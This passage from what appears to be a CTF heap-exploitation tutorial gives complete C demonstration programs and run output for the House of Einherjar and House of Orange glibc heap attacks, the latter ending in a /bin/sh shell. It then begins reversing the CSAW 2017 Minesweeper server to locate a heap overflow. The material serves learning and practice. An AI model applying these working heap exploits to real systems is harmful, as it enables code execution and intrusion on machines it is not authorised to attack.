ERROR: ld.so: object './libc-2.24.so' from LD_PRELOAD cannot be preloaded (wrong
ELF class: ELFCLASS32): ignored.
cookbook    libc-2.24.so           peda-session-w.procps.txt  try.py
core        peda-session-cookbook.txt  readme.md
exploit.py  peda-session-dash.txt      test.py
```

Like that, we popped a shell!

House of Einherjar Explanation

This is a well documented C file that explains how a House of Einherjar attack works. It is based off of: https://github.com/shellphish/how2heap/blob/master/glibc_2.26/house_of_einherjar.c

The source Code:

```c
#include <stdio.h>
#include <stdlib.h>

// This is based off of: https://github.com/shellphish/how2heap/blob/master
/glibc_2.26/house_of_einherjar.c

unsigned long target[6];

int main(void)
{
    puts("So let's cover a House of Einjar attack.");
    puts("The purpose of this attack is to get malloc to return a chunk outside
of the heap.");
    puts("We will accomplish this by consolidating the heap up to our fake
chunk.");
    puts("We will need to be able to write to the memory we want allocated prior
to the allocation.");
    puts("Main benefits of this is all we need to do this attack, is the ability
to write to the chunk we want to allocate, groom the heap in a certain way, some
infoleaks, and a null byte overflow bug.");
    puts("Let's get started!\n");

    printf("Out goal will be to get malloc to allocate a ptr to:\t%p\n",
&target[2]);

    printf("Let's start by setting up our fake chunk.\n");
    printf("For this, there are 6 values we need to set.\n");
    printf("These are the previous size, size, fwd and bk pointers, and the
fwd_size and bk_size pointers (think unsorted bin values).\n");
    printf("For the pointers, I just set them all equal to the fake chunk.\n");
    printf("The reason for this is when it performs checks using this pointer,
when it points back to this chunk it allows us to pass checks without much
hassle.\n");
    printf("We will set the size of this chunk later.\n\n");

    target[2] = (unsigned long)&target;
    target[3] = (unsigned long)&target;
    target[4] = (unsigned long)&target;
    target[5] = (unsigned long)&target;


    printf("Now we will allocate two chunks on the heap, one of size 0x68 and
the other 0xf0.\n\n");

    unsigned long *ptr0, *ptr1;
    unsigned long previousSize, size;


    ptr0 = malloc(0x68);
    ptr1 = malloc(0xf0);

    printf("ptr0:\t%p\n", ptr0);
```

```
    printf("ptr1:\t%p\n\n", ptr1);

    printf("ptr1 prev size:\t0x%lx\n",ptr1[-2]);
    printf("ptr1 prev size:\t0x%lx\n\n",ptr1[-1]);

    printf("Now we will use the chunk at ptr0 to overflow ptr1. We will use the
null byte overflow to overwrite the previous in use bit to zero. Thankfully
since the size is 0x%lx, the null byte won't change anything other than that
bit.\n", ptr1[-1]);
    printf("This way malloc will think it's previous chunk has been freed, and
will attempt to consolidate.\n");
    printf("We will also plant a fake previous chunk size, which will control
where it tries to consolidate to.\n");
    printf("We will set this equal to the distance to our target chunk from the
start of ptr0 (pointers are to start of the heap metadata, not to the
content).\n\n");

    previousSize = (unsigned long)(ptr1 - 2) - (unsigned long)&target;
    size = 0x100;

    printf("Let's plant the fake previous size, and execute the \"simulated\"
null byte overflow.\n\n");

    ptr0[12] = previousSize;
    ptr0[13] = size;

    printf("ptr1 prev size:\t0x%lx\n",ptr1[-2]);
    printf("ptr1 prev size:\t0x%lx\n\n",ptr1[-1]);

    printf("One last thing, there is a check that happens during consolidation
where it will check if our fake previous chunk size is equal to the chunk size
for the fake chunk we are trying to consolidate to.\n");
    printf("To pass this check, we just need to set the size of our fake chunk
equal to the fake previous size value we generated.\n\n");

    target[1] = previousSize;

    printf("With that, we can see our fake chunk here.\n\n");

    printf("Fake Chunk Prev Size:\t0x%lx\n", target[0]);
    printf("Fake Chunk Size:\t0x%lx\n", target[1]);
    printf("Fake Chunk Fwd:\t\t0x%lx\n", target[2]);
    printf("Fake Chunk Bk:\t\t0x%lx\n", target[3]);
    printf("Fake Chunk Fwd_Size:\t0x%lx\n", target[4]);
    printf("Fake Chunk Bk_Size:\t0x%lx\n\n", target[5]);

    printf("With that, we can free ptr1 and consolidate the heap to our fake
chunk.\n\n");

    free(ptr1);

    printf("Now let's allocate a chunk and see what we get!\n");
    printf("Allocated Chunk:\t%p\n", malloc(0x10));
```

```
}
```

When we run it (this was ran on Ubuntu 16.04):

```
$       ./house_einherjar_exp
So let's cover a House of Einjar attack.
The purpose of this attack is to get malloc to return a chunk outside of the
heap.
We will accomplish this by consolidating the heap up to our fake chunk.
We will need to be able to write to the memory we want allocated prior to the
allocation.
Main benefits of this is all we need to do this attack, is the ability to write
to the chunk we want to allocate, groom the heap in a certain way, some
infoleaks, and a null byte overflow bug.
Let's get started!

Out goal will be to get malloc to allocate a ptr to:    0x602090
Let's start by setting up our fake chunk.
For this, there are 6 values we need to set.
These are the previous size, size, fwd and bk pointers, and the fwd_size and
bk_size pointers (think unsorted bin values).
For the pointers, I just set them all equal to the fake chunk.
The reason for this is when it performs checks using this pointer, when it
points back to this chunk it allows us to pass checks without much hassle.
We will set the size of this chunk later.

Now we will allocate two chunks on the heap, one of size 0x68 and the other
0xf0.

ptr0:   0x708420
ptr1:   0x708490

ptr1 prev size: 0x0
ptr1 prev size: 0x101

Now we will use the chunk at ptr0 to overflow ptr1. We will use the null byte
overflow to overwrite the previous in use bit to zero. Thankfully since the size
is 0x101, the null byte won't change anything other than that bit.
This way malloc will think it's previous chunk has been freed, and will attempt
to consolidate.
We will also plant a fake previous chunk size, which will control where it tries
to consolidate to.
We will set this equal to the distance to our target chunk from the start of
ptr0 (pointers are to start of the heap metadata, not to the content).

Let's plant the fake previous size, and execute the "simulated" null byte
overflow.

ptr1 prev size: 0x106400
ptr1 prev size: 0x100

One last thing, there is a check that happens during consolidation where it will
check if our fake previous chunk size is equal to the chunk size for the fake
chunk we are trying to consolidate to.
To pass this check, we just need to set the size of our fake chunk equal to the
fake previous size value we generated.
```

```
With that, we can see our fake chunk here.

Fake Chunk Prev Size:   0x0
Fake Chunk Size:        0x106400
Fake Chunk Fwd:         0x602080
Fake Chunk Bk:          0x602080
Fake Chunk Fwd_Size:    0x602080
Fake Chunk Bk_Size:     0x602080

With that, we can free ptr1 and consolidate the heap to our fake chunk.

Now let's allocate a chunk and see what we get!
Allocated Chunk:        0x602090
```

House of Orange Explanation

First off, this code from this challenge is from https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c. I basically just took it, and added my own comments. I couldn't figure out this attack in a decent time frame without sufficient documentation like that.

With that being said, here is the well documented source code explaining the attack:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// This code is from: https://github.com/shellphish/how2heap/blob/master
/glibc_2.25/house_of_orange.c
// I couldn't of figured out this attack without sufficient documentation
// I basically just added comments to it

void pwn(char *inp)
{
    system(inp);
}

void main(void)
{
    // So let's cover House of Orange
    // The purpose of House of Orange is to get code execution
    // We will be doing this by targeting the malloc_printerr function, which is
the function that prints out info when it detects memory corruption
    // Like this:
    /*
    *** Error in `./t': double free or corruption (fasttop): 0x0000000001d12010
***
    ======= Backtrace: =========
    /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fa510f817e5]
    /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fa510f8a37a]
    /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fa510f8e53c]
    ./t[0x400594]
    /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa510f2a830]
    ./t[0x400499]
    ======= Memory map: ========
    00400000-00401000 r-xp 00000000 08:01 793068
/Hackery/pod/modules/house_of_orange/house_orange_exp/t
    00600000-00601000 r--p 00000000 08:01 793068
/Hackery/pod/modules/house_of_orange/house_orange_exp/t
    00601000-00602000 rw-p 00001000 08:01 793068
/Hackery/pod/modules/house_of_orange/house_orange_exp/t
    01d12000-01d33000 rw-p 00000000 00:00 0
[heap]
    7fa50c000000-7fa50c021000 rw-p 00000000 00:00 0
    7fa50c021000-7fa510000000 ---p 00000000 00:00 0
    7fa510cf4000-7fa510d0a000 r-xp 00000000 08:01 397746
/lib/x86_64-linux-gnu/libgcc_s.so.1
    7fa510d0a000-7fa510f09000 ---p 00016000 08:01 397746
/lib/x86_64-linux-gnu/libgcc_s.so.1
    7fa510f09000-7fa510f0a000 rw-p 00015000 08:01 397746
/lib/x86_64-linux-gnu/libgcc_s.so.1
    7fa510f0a000-7fa5110ca000 r-xp 00000000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
    7fa5110ca000-7fa5112ca000 ---p 001c0000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
```

```
    7fa5112ca000-7fa5112ce000 r--p 001c0000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
    7fa5112ce000-7fa5112d0000 rw-p 001c4000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
    7fa5112d0000-7fa5112d4000 rw-p 00000000 00:00 0
    7fa5112d4000-7fa5112fa000 r-xp 00000000 08:01 397680
/lib/x86_64-linux-gnu/ld-2.23.so
    7fa5114db000-7fa5114de000 rw-p 00000000 00:00 0
    7fa5114f8000-7fa5114f9000 rw-p 00000000 00:00 0
    7fa5114f9000-7fa5114fa000 r--p 00025000 08:01 397680
/lib/x86_64-linux-gnu/ld-2.23.so
    7fa5114fa000-7fa5114fb000 rw-p 00026000 08:01 397680
/lib/x86_64-linux-gnu/ld-2.23.so
    7fa5114fb000-7fa5114fc000 rw-p 00000000 00:00 0
    7fff06ae4000-7fff06b05000 rw-p 00000000 00:00 0
[stack]
    7fff06b99000-7fff06b9c000 r--p 00000000 00:00 0
[vvar]
    7fff06b9c000-7fff06b9e000 r-xp 00000000 00:00 0
[vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
[vsyscall]
    Aborted (core dumped)
    */

    // Thing is, in older versions of libc, when the function was called it
would iterate through a list of
    // _IO_FILE structs stored in _IO_list_all, and actually execute an
instruction pointer in that struct
    // This attack will forge a fake _IO_FILE struct that we will write to
_IO_list_all, and cause malloc_printerr to run
    // Then it will execute whatever address we have stored in the _IO_FILE
structs jump table, and we will get code execution

    // There are several benefits to how we are going to do this
    // First off, with how we do this, we won't ever need to call free directly
in the code
    // We will need a libc and heap infoleak to execute this attack
    // In addition to that, we will need a heap overflow that will allow us to
reach the top chunk
    // Also this works on versions of libc earlier than 2.26
    // Let's get started!


    // So starting off we will allocate a chunk off of the top chunk.
    // The top chunk is the heap chunk which contains data which hasn't been
allocated yet
    // Malloc will allocate data off from this chunk when it can't find chunks
from any of the bin lists
    // This call to malloc will set up the heap for us

    unsigned long *ptr, *topChunk;
```

```
    // Actual Size of chunk will be 0x400, because of heap metadata
    ptr = malloc(0x3f0);

    // Now the reason why we allocated a chunk that will be 0x400, is due to the
top chunk
    // Now the top chunk is usually allocated with a size of 0x21000
    // After that allocation, the size of the top chunk has (0x21000 - 0x400) |
1 = 0x20c01

    // Now we will use the heap overflow to overwrite the size value of the top
chunk
    // We will write to it 0xc01, which is a lesser value
    // That way we can cause the behavior in which it increases the top chunk
(will be talked about later)
    // We put it's size as `0xc01` for two reasons
    // The first is that it the previous in use bit needs to be set (the 0x1),
because if the previous block wasn't in use there should be a consolidation
    // The second is that the size of the top chunk plus the size of the chunk
in this case needs to be paged aligned
    // Being page aligned means that the address starts at the start of a memory
page

    // However first let's use the heap pointer we have to calculate the address
of the top chunk, by adding an offset to it (we can find this offset in a
debugger)

    topChunk = (unsigned long *) ((char *)ptr + 0x3f0);

    // Now let's set the size of the top chunk

    topChunk[1] = 0xc01;

    // Now that we have shrunk the size value, we will allocate a chunk size of
0x1000
    // Since the requested size is bigger than the size of the top chunk, the
top chunk will be expanded
    // This is done in one of two ways, either by allocating another page with
mmap, or extending the top chunk via allocating more memory with brk
    // If the size requested is less than 0x21000, then the brk method is used

    // When this is done sysmalloc will be invoked
    // The new memory will be allocated at the end of the current top chunk, and
the old top chunk will be freed
    // This will cause it to enter into the unsorted bin (even though we never
directly called free)
    // Assuming that we still have the heap overflow of the old top chunk, this
will give us an overflow of an unsorted bin chunk

    /*
        Before 0x1000 Allocation
        +-----+-------------+
        | ptr |  top chunk  | < end of heap right there
        +-----+-------------+
```

```
        After 0x1000 Allocation
        +-----+---------------+---------------+
        | ptr |  old top chunk | New Top Chunk | < end of heap right there
        |     |  (now freed)   |               |
        +-----+---------------+---------------+
    */

    malloc(0x1000);

    // Now that our old top chunk is the only chunk in the unsorted bin, it has
libc pointers in it
    // We will simulate a libc infoleak, and use it to calculate the address of
_IO_list_all

    unsigned long _IO_list_all;
    _IO_list_all = topChunk[2] + 0x9a8;

    // Now we will prep for an unsorted bin attack here
    // For this, we will write to the first value in _IO_list_all the start of
the unsorted bin, main_arena+88
    // This value is a ptr to the first chunk in the unsorted bin, which will be
the old top chunk we have an overflow to
    // In this case this chunk gets split up to serve allocation requests (which
it will) the bk chunk's fwd pointer gets overwritten with the unsorted bin list
    // In other words topChunk->bk->fwd = unsorted bin list (which is a ptr to
the old top chunk)

    topChunk[3] = _IO_list_all - 0x10;

    // Now the next thing we will need to set is the size of the old top chunk
    // We will shrink it down to the size of a small bin chunk, specifically
0x61
    // This will serve two purposes
    // When malloc scans through the unsorted bin and sees this chunk, it will
try to insert it into small bin 4 due to its size
    // So this chunk will also end up at the head of the small bin 4 list, as we
can see here in memory:

    /*
    gef➤  x/10g 0x7ffff7dd1b78
    0x7ffff7dd1b78 <main_arena+88>:    0x624010    0x0
    0x7ffff7dd1b88 <main_arena+104>:    0x602400    0x7ffff7dd2510
    0x7ffff7dd1b98 <main_arena+120>:    0x7ffff7dd1b88    0x7ffff7dd1b88
    0x7ffff7dd1ba8 <main_arena+136>:    0x7ffff7dd1b98    0x7ffff7dd1b98
    0x7ffff7dd1bb8 <main_arena+152>:    0x7ffff7dd1ba8    0x7ffff7dd1ba8
    gef➤  x/4g 0x6023f0
    0x6023f0:    0x0    0x0
    0x602400:    0x68732f6e69622f    0x61
    */

    // This will give us a wrote to the fwd pointer of the value we will write
```

```
to _IO_list_all (which so happens to overlap with small bin 4), since currently
our only write is an unsorted bin attack
    // Also this will cause it to fail a check, when it checks the size of the
false fwd chunk (which will be 0), which will cause malloc_printerr to be called

    topChunk[1] = 0x61;


    // Now we will finally set up the _IO_FILE struct, which will overlap with
the old top chunk currently in the unsorted bin
    // However the first 8 bytes, we will write our input a pointer to it will
be passed to the instruction pointer we are calling

    memcpy(topChunk, "/bin/sh", 8);

    // Now for the fake _IO_FILE struct

    _IO_FILE *fakeFp = (_IO_FILE *) topChunk;

    // Set mode to 0
    fakeFp->_mode = 0;

    // Set the write base to 2, and the write ptr to 3
    // We have to pass the check the the write ptr is greater than the write
base

    fakeFp->_IO_write_base = (char *) 2;
    fakeFp->_IO_write_ptr = (char *) 3;

    // Next up we make our jump table
    // This is where our instruction pointer will be called
    // In here I will be setting the instruction pointer equal to the address of
pwn
    // However since we have a libc infoleak, we in practice could just set it
to system

    unsigned long *jmpTable = &topChunk[12];
    jmpTable[3] = (unsigned long) &pwn;
    *(unsigned long *) ((unsigned long) fakeFp + sizeof(_IO_FILE)) = (unsigned
long) jmpTable;

    // Now call malloc to cause this attack to execute

    malloc(10);
}
```

This is it running:

```
$       ./house_orange_exp
*** Error in `./house_orange_exp': malloc(): memory corruption:
0x00007ff3ededd520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ff3edb8f7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ff3edb9a13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ff3edb9c184]
./house_orange_exp[0x4006e3]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ff3edb38830]
./house_orange_exp[0x400509]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 793068
/Hackery/pod/modules/house_of_orange/house_orange_exp/house_orange_exp
00600000-00601000 r--p 00000000 08:01 793068
/Hackery/pod/modules/house_of_orange/house_orange_exp/house_orange_exp
00601000-00602000 rw-p 00001000 08:01 793068
/Hackery/pod/modules/house_of_orange/house_orange_exp/house_orange_exp
00727000-0076a000 rw-p 00000000 00:00 0                                  [heap]
7ff3e8000000-7ff3e8021000 rw-p 00000000 00:00 0
7ff3e8021000-7ff3ec000000 ---p 00000000 00:00 0
7ff3ed902000-7ff3ed918000 r-xp 00000000 08:01 397746
/lib/x86_64-linux-gnu/libgcc_s.so.1
7ff3ed918000-7ff3edb17000 ---p 00016000 08:01 397746
/lib/x86_64-linux-gnu/libgcc_s.so.1
7ff3edb17000-7ff3edb18000 rw-p 00015000 08:01 397746
/lib/x86_64-linux-gnu/libgcc_s.so.1
7ff3edb18000-7ff3edcd8000 r-xp 00000000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
7ff3edcd8000-7ff3eded8000 ---p 001c0000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
7ff3eded8000-7ff3ededc000 r--p 001c0000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
7ff3ededc000-7ff3edede000 rw-p 001c4000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
7ff3edede000-7ff3edee2000 rw-p 00000000 00:00 0
7ff3edee2000-7ff3edf08000 r-xp 00000000 08:01 397680
/lib/x86_64-linux-gnu/ld-2.23.so
7ff3ee0e9000-7ff3ee0ec000 rw-p 00000000 00:00 0
7ff3ee106000-7ff3ee107000 rw-p 00000000 00:00 0
7ff3ee107000-7ff3ee108000 r--p 00025000 08:01 397680
/lib/x86_64-linux-gnu/ld-2.23.so
7ff3ee108000-7ff3ee109000 rw-p 00026000 08:01 397680
/lib/x86_64-linux-gnu/ld-2.23.so
7ff3ee109000-7ff3ee10a000 rw-p 00000000 00:00 0
7ffc5443c000-7ffc5445d000 rw-p 00000000 00:00 0                          [stack]
7ffc545ac000-7ffc545af000 r--p 00000000 00:00 0                          [vvar]
7ffc545af000-7ffc545b1000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
[vsyscall]
$ w
 18:35:26 up  5:04,  1 user,  load average: 0.25, 0.14, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
```

```
guyinatu tty7     :0               13:35    5:04m  3:29   0.23s /sbin/upstart
--user
$ ls
house_orange_exp  house_orange_exp.c  Readme.md
```

Miscellaneous

Csaw 2017 Minesweeper

Let's take a look at the binary:

```
$    pwn checksec minesweeper
[*] '/Hackery/pod/modules/custom_misc_heap/csaw17_minesweeper/minesweeper'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$    file minesweeper
minesweeper: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=90ec16e6be18b19942bf2952db17a7c1ed3ca482, stripped
$    ./minesweeper
Server started
```

So we can see that we are dealing with a `32` bit binary with none of the standard binary mitigations, and even `rwx` memory segments. We also see that the binary is some type of server. Let's try to connect to it:

```
$    netstat -planet
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
User       Inode      PID/Program name

.    .    .

tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN
1000       149341     11035/./minesweeper
$    nc 127.0.0.1 31337

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)
```

So we can see that the server listens on ip/port combo `0.0.0.0:31337`. When we connect to the server via netcat, we see that we are prompted

Reversing

When we check the references to the strings, we find the function responsible for the main menu for our client:

```
undefined4 menu(undefined4 param_1)

{
  int local_30;
  int local_2c;
  undefined4 input;
  undefined4 local_24;
  undefined4 local_20;
  undefined4 local_1c;
  int bytesScanned;
  uint i;
  undefined5 *local_10;

  input = 0;
  local_24 = 0;
  local_20 = 0;
  local_1c = 0;
  local_10 = (undefined5 *)0x0;
  local_2c = 0;
  local_30 = 0;
  while( true ) {
    print(param_1,
          "\nHi. Welcome to Minesweeper. Please select an option:\n1) N (New
Game)\n2) InitializeGame(I)\n3) Q (Quit)\n"
         );
    bytesScanned = customScan(param_1,&input,0x10);
    if (bytesScanned == -1) break;
    i = 0;
    while ((i < 0x10 &&
           ((*(char *)((int)&input + i) == ' ' || (*(char *)((int)&input + i) ==
'\0'))))) {
      i = i + 1;
    }
    if (i == 0x10) {
      print(param_1,"No command string entered! N, I, or Q please!\n");
    }
    else {
      switch(*(undefined *)((int)&input + i)) {
      case 0x49:
      case 0x69:
        local_10 = (undefined5 *)initGame(param_1,&local_2c,&local_30);
        break;
      default:
        print(param_1,"Invalid option, please try again N, I, or Q please!\n");
        break;
      case 0x4e:
      case 0x6e:
        newGame(param_1,local_10,local_2c,local_30);
        break;
      case 0x51:
      case 0x71:
        print(param_1,"Goodbye!\n");
```

```
          return 0;
        }
      }
    }
    print(param_1,"Goodbye!\n");
    return 0;
  }
```

We can see that this function essentially just prompts us for our input. We are prompted with three options. The first is for a new game, the second is to initialize a game, and the third is to quit. When we take a look at the funcion responsible for initializing a game `initGame`, we see this:

```
char * initGame(undefined4 param_1,int *param_2,int *param_3)

{
  char *boardptr;
  void *hiTherePtr;
  void *menuPtr;
  char *Xptr;
  void *cowsayPtr;
  int iVar1;
  char local_3c [16];
  int bytesScanned;
  void *ptr0;
  uint i;
  int y;
  int x;

  print(param_1,
        "Please enter in the dimensions of the board you would like to set in
this format: B X Y\n")
  ;
  x = customScan(param_1,local_3c,0x10);
  if (x == -1) {
    print(param_1,"Goodbye!\n");
    boardptr = (char *)0x0;
  }
  else {
    hiTherePtr = (void *)customMalloc(0xb);
    memset((int)hiTherePtr,0,0xb);
    memcpy(hiTherePtr,"HI THERE!!\n",0xb);
    print(param_1,hiTherePtr);
    customFree((int)hiTherePtr);
    menuPtr = (void *)customMalloc(1000);
    memset((int)menuPtr,0,1000);
    memcpy(menuPtr,
           "  +---------------------------+---------------------------+\n  |
__________________   |                           |\n  |  ==c(______(o(______(_()
||\'\'\'\'\'\'\'\'\'\'\'\'|======[***  |\n  |             )=\\           | |
EXPLOIT  \\            |\n  |            / \\            |
|_____________\\_______    |\n  |           /   \\           | |==[---
>]============\\   |\n  |          /     \\          ||______________________\\
|\n  |         / RECON \\         | \\(@)(@)(@)(@)(@)(@)(@)/  |\n  |        /
\\        |  *********************    |\n
+---------------------------+---------------------------+\n
\nIIIIII    dTb.dTb        _.---._       \n  II     4\'  v \'B   .\"\"\"\"\"
/|\\`.\"\"\"\". \n  II     6.     .P  :  .\' / | \\ `.  : \n  II    \'T;. .;P\'
\'.\'  /  |  \\  `.\' \n  II      \'T; ;P\'    `. /   |   \\ .\'  \nIIIIII
\'YvP\'       `-.__|__.-\'     \n-msf                                   \n"
           ,1000);
    print(param_1,menuPtr);
    customFree((int)menuPtr);
    i = 0;
```

```
    while ((i < 0x10 && ((local_3c[i] == ' ' || (local_3c[i] == '\0'))))) {
      i = i + 1;
    }
    if (i == 0x10) {
      print(param_1,"Please send valid command! B X Y\n");
      boardptr = (char *)0x0;
    }
    else {
      if ((local_3c[i] == 'B') || (local_3c[i] == 'b')) {
        i = i + 1;
        if (i == 0x10) {
          print(param_1,"Not enough arguments to set board. B X Y\n");
          boardptr = (char *)0x0;
        }
        else {
          while ((i < 0x10 && ((local_3c[i] == ' ' || (local_3c[i] == '\0')))))
{
            i = i + 1;
          }
          if (i == 0x10) {
            print(param_1,"Not enough arguments to uncover. U X Y\n");
            boardptr = (char *)0x0;
          }
          else {
            y = 0;
            while ((((x = y, i < 0x10 && (local_3c[i] != ' ')) && (local_3c[i]
!= '\0')) &&
                   ((-1 < (int)local_3c[i] + -0x30 && ((int)local_3c[i] + -0x30
< 10))))) {
              y = (int)local_3c[i] + -0x30 + y * 10;
              i = i + 1;
            }
            if (i == 0x10) {
              print(param_1,"Not enough arguments to uncover. U X Y\n");
              boardptr = (char *)0x0;
            }
            else {
              while ((i < 0x10 && ((local_3c[i] == ' ' || (local_3c[i] ==
'\0'))))) {
                i = i + 1;
              }
              y = 0;
              while ((((i < 0x10 && (local_3c[i] != ' ')) && (local_3c[i] !=
'\0')) &&
                     ((-1 < (int)local_3c[i] + -0x30 && ((int)local_3c[i] +
-0x30 < 10))))) {
                y = (int)local_3c[i] + -0x30 + y * 10;
                i = i + 1;
              }
              if ((x < 10000) && (y < 10000)) {
                boardptr = (char *)customMalloc((y + -1) * (x + -1));
                if ((y + -1) * (x + -1) < 0x1000) {
                  memset(boardptr,0,(y + -1) * (x + -1));
```

```
                  iVar1 = (x + -1) * (y + -1);
                  fprintf(stderr,"Allocated buffer of size: %d",iVar1);
                  do {
                    print(param_1,
                          "Please send the string used to initialize the board.
Please send X * Ybytes follow by a newlineHave atleast 1 mine placed in your
board, markedby the character X\n"
                          ,iVar1);
                    iVar1 = x * y + 1;
                    bytesScanned = customScan(param_1,boardptr);
                    if (bytesScanned == -1) {
                      print(param_1,"Goodbye!\n",iVar1);
                      return (char *)0;
                    }
                    Xptr = strchr(boardptr,0x58);
                  } while ((Xptr == (char *)0x0) || (x * y + 1 !=
bytesScanned));
                  cowsayPtr = (void *)customMalloc(200);
                  memset(cowsayPtr,0,200);
                  memcpy(cowsayPtr,

                         "____________\n< cowsay <3 minesweeper >\n ------------
\n       \\    ,__,         \n         \\  (oo)____     \n           (__)    )\\  \n
||--|| * \n"
                         ,0xa0);
                  print(param_1,cowsayPtr);
                  customFree((int)cowsayPtr);
                  *param_3 = y;
                  *param_2 = x;
                }
                else {
                  print(param_1,"Cannot allocate such a large board\n");
                  boardptr = (char *)0x0;
                }
              }
              else {
                print(param_1,"Dimension being set is too large\n");
                boardptr = (char *)0x0;
              }
            }
          }
        }
      }
      else {
        print(param_1,"Please send a valid command! B X Y\n");
        boardptr = (char *)0x0;
      }
    }
  }
  return boardptr;
}
```

Also let's take a look at the client / server output when this goes through function:

Client Output:

```
$    nc 127.0.0.1 31337

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)
I
Please enter in the dimensions of the board you would like to set in this
format: B X Y
B 2 2
HI THERE!!
  +----------------------------+---------------------------+
  |      __________________    |                           |
  |  ==c(______(o(______(_()   | |''''''''''''|======[***  |
  |             )=\            | |  EXPLOIT   \            |
  |            / \             | |____________\_______     |
  |           /   \            | |==[--- >]============\   |
  |          /     \           | |______________________\  |
  |         / RECON \          | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        /         \         |  ********************     |
  +----------------------------+---------------------------+

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"""" /|\`."""".
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'
-msf
Please send the string used to initialize the board. Please send X * Y bytes
follow by a newlineHave atleast 1 mine placed in your board, marked by the
character X
X15935728
____________
< cowsay <3 minesweeper >
 ------------
      \   ,__,
       \  (oo)____
          (__)    )\
             ||--|| *

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)
Invalid option, please try again N, I, or Q please!

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)
```

Server Output:

```
$    /minesweeper
Server startedNew user connecteddelinked!delinked!Allocated buffer of size:
1delinked!
```

So a few things, we can see that it prompts us for two variables an `x` and `y`. This is because this challenge is essentially a game where we have a board and have to find the mines on the board (hence the name minesweeper). This function we are initializing a new board, and the two dimensions for that are the `x` and `y` inputs we give it. However there are a lot of things here. First we can see that there is dynamic memory allocation happening but it is with a custom malloc / free (we will look closely at how the malloc works later):

Here is a custom malloc:

```
                boardptr = (char *)customMalloc((y + -1) * (x + -1));
```

Here is a custom free:

```
                  customFree((int)cowsayPtr);
```

However there are a few issues here. First we can see that the space it allocates is not `(x)*(y)`, but `(x - 1) * (y - 1)`. We can also see that it scans in `(x + 1) * (y + 1)` bytes worth of data in this instance. This gives us a pretty big heap overflow. Also when we take a look at the memory mappings, we see something interesting:

```
gef➤  set follow-fork-mode child
gef➤  r
Starting program: /Hackery/pod/modules/custom_misc_heap/csaw17_minesweeper
/minesweeper
Server started[Attaching after process 11282 fork to child process 11297]
[New inferior 2 (process 11297)]
[Detaching after fork from parent process 11282]
[Inferior 1 (process 11282) detached]
New user connected
delinked!delinked!Allocated buffer of size: 1^C
Thread 2.1 "minesweeper" received signal SIGINT, Interrupt.
0xf7fd3939 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$eax   : 0xfffffe00
$ebx   : 0xa
$ecx   : 0xffffcf8c  →  0x00000004
$edx   : 0x0
$esp   : 0xffffcf70  →  0xffffcfd8  →  0xffffd028  →  0xffffd078  →  0xffffd098
→  0xffffd0e8  →  0x00000000
$ebp   : 0xffffcfd8  →  0xffffd028  →  0xffffd078  →  0xffffd098  →  0xffffd0e8
→  0x00000000
$esi   : 0x0
$edi   : 0xf7fb3000  →  0x001dbd6c
$eip   : 0xf7fd3939  →  <__kernel_vsyscall+9> pop ebp
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────── stack ────
0xffffcf70│+0x0000: 0xffffcfd8  →  0xffffd028  →  0xffffd078  →  0xffffd098  →
0xffffd0e8  →  0x00000000    ← $esp
0xffffcf74│+0x0004: 0x00000000
0xffffcf78│+0x0008: 0xffffcf8c  →  0x00000004
0xffffcf7c│+0x000c: 0xf7ed7dfd  →  <recv+77> mov ebx, eax
0xffffcf80│+0x0010: 0x00000001
0xffffcf84│+0x0014: 0x00000000
0xffffcf88│+0x0018: 0xf7fb3000  →  0x001dbd6c
